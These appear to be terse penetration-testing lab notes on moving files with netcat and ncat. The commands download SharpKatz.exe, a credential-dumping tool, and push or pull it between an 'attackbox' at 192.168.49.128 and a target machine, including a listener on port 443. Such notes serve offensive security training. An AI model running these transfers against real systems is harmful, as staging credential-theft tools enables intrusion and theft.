read write using tcp/udp > use for file transfer
depricated > nmap made Ncat with ssl, ipv6 , socks ,http
transfer https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe to machine
nc -nvlp 8000> output.exe
—recv-only if ncat is used to close connection after file transfer
send to nc
wget -q <https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe>
nc -q 0 192.168.49.128 8000 < SharpKatz.exe
—send-only to disconnect after transfer instead of -q 0
if inbound connection is of on machine . listener on 443 and machine connects to get file.
attackbox ( with ncat —send-only)
sudo nc -l -p 443 -q 0 < SharpKatz.exe
machine ( with ncat —recv-only)
nc 192.168.49.128 443 > SharpKatz.exe
host ncat listener